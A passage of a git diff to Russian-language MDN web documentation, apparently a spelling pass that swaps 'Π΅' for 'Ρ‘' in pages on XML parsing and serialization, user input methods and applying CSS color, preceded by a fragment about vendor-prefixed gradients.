<p>НапримСр, Ссли Π²Ρ‹ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚ Π² качСствС Ρ„ΠΎΠ½Π° для ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ тСкста, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΡΡ‚ΠΈΠ»ΡŒ с Π²Π΅Π½Π΄ΠΎΡ€Π½Ρ‹ΠΌ прСфиксом Ρ‚ΠΈΠΏΠ°Β <code>-webkit-linear-gradient</code>, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Π΅Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹ с Π²Π΅Π½Π΄ΠΎΡ€-спСцифичСскими прСфиксами для свойства <a href="/en/CSS/linear-gradient" title="en/CSS/linear-gradient">linear-gradient</a>. Если Π²Ρ‹ этого Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚Π΅, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎΒ Ρ„ΠΎΠ½, ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, контрастируСт с тСкстом: Ρ‚ΠΎΠ³Π΄Π° страница, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅,Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½Π΅ воспринимаСт вашС <code>linear-gradient</code> ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ.</p>
diff --git a/files/ru/web/guide/parsing_and_serializing_xml/index.html b/files/ru/web/guide/parsing_and_serializing_xml/index.html
index a99fe9cd84..5304905afc 100644
--- a/files/ru/web/guide/parsing_and_serializing_xml/index.html
+++ b/files/ru/web/guide/parsing_and_serializing_xml/index.html
@@ -27,11 +27,11 @@ translation_of: Web/Guide/Parsing_and_serializing_XML
<dt>{{domxref("XMLSerializer")}}</dt>
<dd>Π‘Π΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Π΄Π΅Ρ€Π΅Π²ΡŒΡ DOM, прСобразуя ΠΈΡ… Π² строки, содСрТащиС XML.</dd>
<dt>{{domxref("DOMParser")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π΄Π΅Ρ€Π΅Π²ΠΎ DOM, анализируя строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ XML, возвращая {{domxref ("XMLDocument")}} ΠΈΠ»ΠΈ {{domxref ("Document")}} Π² зависимости ΠΎΡ‚ входящих данных.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π΄Π΅Ρ€Π΅Π²ΠΎ DOM, анализируя строку, ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‰ΡƒΡŽ XML, возвращая {{domxref ("XMLDocument")}} ΠΈΠ»ΠΈ {{domxref ("Document")}} Π² зависимости ΠΎΡ‚ входящих данных.</dd>
<dt>{{domxref("XMLHttpRequest")}}</dt>
<dd>Π—Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ ΠΈΠ· URL-адрСса; Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ XML возвращаСтся ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ XML {{domxref ("Document")}} с Π΄Π΅Ρ€Π΅Π²ΠΎΠΌ DOM, построСнным ΠΈΠ· самого XML.</dd>
<dt><a href="/en-US/docs/Web/XPath">XPath</a></dt>
- <dd>ВСхнология создания строк, содСрТащих адрСса для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… частСй Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° XML, ΠΈ поиска ΡƒΠ·Π»ΠΎΠ² XML Π½Π° основС этих адрСсов.</dd>
+ <dd>ВСхнология создания строк, содСрТащих адрСса для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… частСй Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° XML, ΠΈ поиска ΡƒΠ·Π»ΠΎΠ² XML Π½Π° основС этих адрСсов.</dd>
</dl>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_XML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ XML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</h2>
@@ -69,9 +69,9 @@ xhr.responseType = "document";
xhr.send();
</pre>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π² ΠΏΠΎΠ»Π΅ {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° xhr, являСтся {{domxref ("Document")}}, созданным ΠΏΡƒΡ‚Π΅ΠΌ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° XML.</p>
+<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π² ΠΏΠΎΠ»Π΅ {{domxref ("XMLHttpRequest.responseXML", "responseXML")}} ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° xhr, являСтся {{domxref ("Document")}}, созданным ΠΏΡƒΡ‚Ρ‘ΠΌ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° XML.</p>
-<p>Если Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ прСдставляСт собой {{Glossary ("HTML")}}, ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ Π²Π΅Ρ€Π½Π΅Ρ‚ {{domxref ("Document")}}. Если Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ XML, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π° самом Π΄Π΅Π»Π΅ являСтся {{domxref ("XMLDocument")}}. Π­Ρ‚ΠΈ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° ΠΏΠΎ сущСству ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹; Ρ€Π°Π·Π½ΠΈΡ†Π° Π² основном историчСская, хотя диффСрСнциация ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ практичСскиС прСимущСства.</p>
+<p>Если Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ прСдставляСт собой {{Glossary ("HTML")}}, ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄ Π²Π΅Ρ€Π½Ρ‘Ρ‚ {{domxref ("Document")}}. Если Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ XML, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π° самом Π΄Π΅Π»Π΅ являСтся {{domxref ("XMLDocument")}}. Π­Ρ‚ΠΈ Π΄Π²Π° Ρ‚ΠΈΠΏΠ° ΠΏΠΎ сущСству ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹; Ρ€Π°Π·Π½ΠΈΡ†Π° Π² основном историчСская, хотя диффСрСнциация ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ практичСскиС прСимущСства.</p>
<div class="note">
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: Π½Π° самом Π΄Π΅Π»Π΅ сущСствуСт интСрфСйс {{domxref ("HTMLDocument")}}, Π½ΠΎ это Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ нСзависимый Ρ‚ΠΈΠΏ. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… это Ρ‚Π°ΠΊ, Π° Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… это просто псСвдоним для интСрфСйса Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</p>
@@ -94,7 +94,7 @@ var sXML = oSerializer.serializeToString(doc);</pre>
<h3 id="Serializing_HTML_documents">Serializing HTML documents</h3>
-<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ модСль DOM Π² Π²ΠΈΠ΄Π΅ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ serializeToString (), Π½ΠΎ Π΅ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ простой Π²Π°Ρ€ΠΈΠ°Π½Ρ‚: просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свойство {{domxref ("Element.innerHTML")}} (Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΡƒΠ·Π΅Π») ΠΈΠ»ΠΈ свойство {{domxref ("Element.outerHTML")}}, Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ ΡƒΠ·Π΅Π» ΠΈ всС Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ.</p>
+<p>Если Ρƒ вас Π΅ΡΡ‚ΡŒ модСль DOM Π² Π²ΠΈΠ΄Π΅ HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΅Ρ€ΠΈΠ°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Ρ‘ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ serializeToString (), Π½ΠΎ Π΅ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ простой Π²Π°Ρ€ΠΈΠ°Π½Ρ‚: просто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ свойство {{domxref ("Element.innerHTML")}} (Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ½Ρ‹ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ ΡƒΠ·Π΅Π») ΠΈΠ»ΠΈ свойство {{domxref ("Element.outerHTML")}}, Ссли Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½ ΡƒΠ·Π΅Π» ΠΈ всС Π΅Π³ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΈ.</p>
<pre class="brush: js notranslate">var docHTML = document.documentElement.innerHTML;
</pre>
diff --git a/files/ru/web/guide/user_input_methods/index.html b/files/ru/web/guide/user_input_methods/index.html
index 945fbc3269..ed2af4c050 100644
--- a/files/ru/web/guide/user_input_methods/index.html
+++ b/files/ru/web/guide/user_input_methods/index.html
@@ -12,7 +12,7 @@ translation_of: Web/Guide/User_input_methods
---
<div class="summary">
<p><span class="seoSummary">Π­Ρ‚ΠΎ руководство содСрТит Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ ΠΏΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ Π²Π²ΠΎΠ΄Π°
- ΠΈ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΡŽ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… элСмСнтов Π² Π²Π΅Π±-прилоТСния. Π’Π°ΠΊΠΆΠ΅ здСсь Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ FAQs, ΠΆΠΈΠ²Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ссылки Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ Ρ€Π°Π·Π±ΠΎΡ€Ρ‹ Π±Π»ΠΈΠ·Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.
+ ΠΈ Π²Π½Π΅Π΄Ρ€Π΅Π½ΠΈΡŽ ΡƒΠΏΡ€Π°Π²Π»ΡΡŽΡ‰ΠΈΡ… элСмСнтов Π² Π²Π΅Π±-прилоТСния. Π’Π°ΠΊΠΆΠ΅ здСсь Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ FAQs, ΠΆΠΈΠ²Ρ‹Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, ссылки Π½Π° Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Π΅ Ρ€Π°Π·Π±ΠΎΡ€Ρ‹ Π±Π»ΠΈΠ·Π»Π΅ΠΆΠ°Ρ‰ΠΈΡ… Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ.
БвязанныС интСрфСйсы API ΠΈ события: <a href="/ru/docs/Web/API/Touch_events">события касаний</a>, <a href="/ru/docs/Web/API/Pointer_Lock_API">интСрфСйс отслСТивания указатСля ΠΌΡ‹ΡˆΠΈ</a>,
<a href="/ru/docs/Web/API/CSS_Object_Model/ориСнтация_экрана">интСрфСйс ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ экрана</a>,
<a href="/ru/docs/DOM/Using_fullscreen_mode">интСрфСйс Ρ€Π΅ΠΆΠΈΠΌΠ° "Π½Π° вСсь экран"</a>, <a href="/ru/docs/Web/Guide/HTML/Drag_and_drop">пСрСтаскиваниС ΠΈ сброс</a> ΠΈ Ρ‚. Π΄.</span></p>
diff --git a/files/ru/web/html/applying_color/index.html b/files/ru/web/html/applying_color/index.html
index 0ff6dd3410..1815d66f34 100644
--- a/files/ru/web/html/applying_color/index.html
+++ b/files/ru/web/html/applying_color/index.html
@@ -6,7 +6,7 @@ translation_of: Web/HTML/Applying_color
<div>{{HTMLRef}}</div>
<div>
-<p>ИспользованиС Ρ†Π²Π΅Ρ‚Π° - ΠΎΠ΄Π½Π° ΠΈΠ· Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ чСловСчСского восприятия, Ρ‚Π°ΠΊ Π΄Π΅Ρ‚ΠΈ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π΅Ρ‰Π΅ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ осознанно Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΈΠΌΠ΅Π½Π½ΠΎ поэтому Ρ†Π²Π΅Ρ‚ - ΠΎΠ΄Π½Π° ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π²Π΅Ρ‰Π΅ΠΉ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ люди хотят ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, изучая Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-сайтов. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a></span>, сущСствуСт мноТСство способов ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ <a href="/en-US/docs/Web/HTML">HTML</a> элСмСнтам, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ΄Π°Ρ‚ΡŒ ΠΈΠΌ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Π²ΠΈΠ΄.Β <span class="seoSummary">Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Π΅Ρ‚ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ прСдставлСния ΠΎ всСх способах </span>примСнСния Ρ†Π²Π΅Ρ‚Π° ΠΊ HTML элСмСнтам с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS<span class="seoSummary">.</span></p>
+<p>ИспользованиС Ρ†Π²Π΅Ρ‚Π° - ΠΎΠ΄Π½Π° ΠΈΠ· Ρ„ΡƒΠ½Π΄Π°ΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌ чСловСчСского восприятия, Ρ‚Π°ΠΊ Π΄Π΅Ρ‚ΠΈ ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π΅Ρ‰Ρ‘ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ осознанно Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΈΠΌΠ΅Π½Π½ΠΎ поэтому Ρ†Π²Π΅Ρ‚ - ΠΎΠ΄Π½Π° ΠΈΠ· ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Π²Π΅Ρ‰Π΅ΠΉ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ люди хотят ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, изучая Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-сайтов. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <span class="seoSummary"><a href="/en-US/docs/Web/CSS">CSS</a></span>, сущСствуСт мноТСство способов ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ <a href="/en-US/docs/Web/HTML">HTML</a> элСмСнтам, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠ΄Π°Ρ‚ΡŒ ΠΈΠΌ ΠΆΠ΅Π»Π°Π΅ΠΌΡ‹ΠΉ Π²ΠΈΠ΄.Β <span class="seoSummary">Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π΄Π°Ρ‘Ρ‚ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ прСдставлСния ΠΎ всСх способах </span>примСнСния Ρ†Π²Π΅Ρ‚Π° ΠΊ HTML элСмСнтам с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS<span class="seoSummary">.</span></p>
</div>
<p>К ΡΡ‡Π°ΡΡ‚ΡŒΡŽ, ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΠΊ HTML элСмСнту ΠΎΡ‡Π΅Π½ΡŒ просто, ΠΈ это ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ практичСски со всСми элСмСнтами.</p>
@@ -27,7 +27,7 @@ translation_of: Web/HTML/Applying_color
<dl>
<dt>{{cssxref("color")}}</dt>
- <dd>Бвойство color примСняСтся ΠΊ тСксту ΠΈ Π»ΡŽΠ±ΠΎΠΌΡƒ <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΡŽ тСкста</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅, Π»ΠΈΠ½ΠΈΠΈ Π½Π° тСкстом, ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ ΠΈ Ρ‚.Π΄.</dd>
+ <dd>Бвойство color примСняСтся ΠΊ тСксту ΠΈ Π»ΡŽΠ±ΠΎΠΌΡƒ <a href="/en-US/docs/Learn/CSS/Styling_text/Fundamentals#Font_style_font_weight_text_transform_and_text_decoration">ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΡŽ тСкста</a>, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅, Π»ΠΈΠ½ΠΈΠΈ Π½Π° тСкстом, ΠΏΠ΅Ρ€Π΅Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅ ΠΈ Ρ‚.Π΄.</dd>
<dt>{{cssxref("background-color")}}</dt>
<dd>Π¦Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° тСкста.</dd>
<dt>{{cssxref("text-shadow")}}</dt>
@@ -36,7 +36,7 @@ translation_of: Web/HTML/Applying_color
</dd>
<dt>{{cssxref("text-decoration-color")}}</dt>
<dd>
- <p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, элСмСнты ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ тСкста (ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ†Π²Π΅Ρ‚ свойства <code>color</code>. Но Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <code>text-decoration-color</code>.</p>
+ <p>По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, элСмСнты ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠ΅ тСкста (ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅, ΠΏΠ΅Ρ€Π΅Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Ρ†Π²Π΅Ρ‚ свойства <code>color</code>. Но Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΈΡΠ²ΠΎΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ†Π²Π΅Ρ‚ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства <code>text-decoration-color</code>.</p>
</dd>
<dt>{{cssxref("text-emphasis-color")}}</dt>
<dd>
@@ -71,7 +71,7 @@ translation_of: Web/HTML/Applying_color
<dl>
<dt>{{cssxref("border-color")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Π΅Π΄ΠΈΠ½Ρ‹ΠΉΒ Ρ†Π²Π΅Ρ‚ для всСх сторон Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Π΅Π΄ΠΈΠ½Ρ‹ΠΉΒ Ρ†Π²Π΅Ρ‚ для всСх сторон Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта.</dd>
<dt>{{cssxref("border-left-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-top-color")}}, and {{cssxref("border-bottom-color")}}</dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ†Π²Π΅Ρ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΉ сторонС Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ элСмСнта:Β <strong>border-left-color</strong> - лСвая Π³Ρ€Π°Π½ΠΈΡ†Π°,Β <strong>border-right-color</strong> - правая,Β <strong>border-top-color</strong> - вСрхняя,Β <strong>border-bottom-color</strong> - ниТняя.</dd>
<dt>{{cssxref("border-block-start-color")}} and {{cssxref("border-block-end-color")}}</dt>
@@ -80,7 +80,7 @@ translation_of: Web/HTML/Applying_color
<dd>Π­Ρ‚ΠΈ свойства ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Ρ†Π²Π΅Ρ‚ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, располоТСнной Π±Π»ΠΈΠΆΠ΅ всСго ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ ΠΈ ΠΊΠΎΠ½Ρ†Ρƒ тСкста Π² Π±Π»ΠΎΠΊΠ΅.Β <span style="letter-spacing: -0.00278rem;">Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π° Π½Π°Ρ‡Π°Π»Π° ΠΈ ΠΊΠΎΠ½Ρ†Π° зависит ΠΎΡ‚ свойств </span>{{cssxref("writing-mode")}}, {{cssxref("direction")}}Β <span style="letter-spacing: -0.00278rem;">ΠΈ </span>{{cssxref("text-orientation")}}<span style="letter-spacing: -0.00278rem;">, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ (Π½ΠΎ Π½Π΅ всСгда) ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для настройки направлСния тСкста. НапримСр, Ссли тСкст отобраТаСтся справа Π½Π°Π»Π΅Π²ΠΎ, Ρ‚ΠΎ </span><code>border-inline-start-color</code>Β ΠΏ<span style="letter-spacing: -0.00278rem;">римСняСтся ΠΊ ΠΏΡ€Π°Π²ΠΎΠΉ сторонС Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</span></dd>
</dl>
